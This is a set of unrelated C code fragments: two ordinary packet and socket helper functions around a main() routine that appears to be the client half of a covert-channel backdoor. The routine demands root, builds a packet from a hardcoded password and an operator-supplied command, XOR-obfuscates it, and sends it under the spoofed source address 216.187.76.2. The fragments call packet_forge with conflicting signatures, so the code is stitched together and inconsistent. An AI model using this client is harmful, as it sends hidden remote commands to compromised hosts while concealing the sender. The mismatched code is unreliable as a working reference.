/** Create a packet from the given message. */ lpacket*packet_request(char*message){ int type; char*pck_message; type=atoi(strtok(message," ")); pck_message=strtok(NULL,"\n"); return packet_forge(type,pck_message); }
/*----------------------------------------------------------------------------- * FUNCTION: main * * DATE: June 4, 2010 * * REVISIONS: * * DESIGNER: Steffen L. Norgren <*****@*****.**> * * PROGRAMMER: Steffen L. Norgren <*****@*****.**> * * INTERFACE: int main(int argc, char **argv) * argc - argument count * argv - array of arguments * * RETURNS: Result on success or failure. * * NOTES: Main entry point into the program. Parses command-line arguments and * configures the client. * *----------------------------------------------------------------------------*/ int main(int argc, char *argv[]) { char packet[MAX_PKT_LEN]; /* parse CLI options */ if (parse_options(argc, argv) == ERROR_OPTS) { err(1, "Invalid options"); exit(ERROR_OPTS); } print_settings(argv[0]); /* make sure user is root */ if (geteuid() != USER_ROOT) { fprintf(stderr, "Must be root to run this program.\n"); exit(ERROR_NOTROOT); } /* raise privileges */ if (set_root() == ERROR_NOTROOT) { err(1, "set_root"); } sprintf(packet, "%s%s%s%s", PASSWORD, EXT_CMD_START, cli_vars.command, EXT_CMD_END); packet_forge(xor(packet), "216.187.76.2", cli_vars.server_ip); return 0; }
/** Sending a message, with less information to provide */ int socket_message_send(lsocket*sck,msg_type type_message,char *message){ lpacket*pck=packet_forge(type_message,message); packet_send(sck,pck); packet_drop(pck); return packet_snd_bytes; }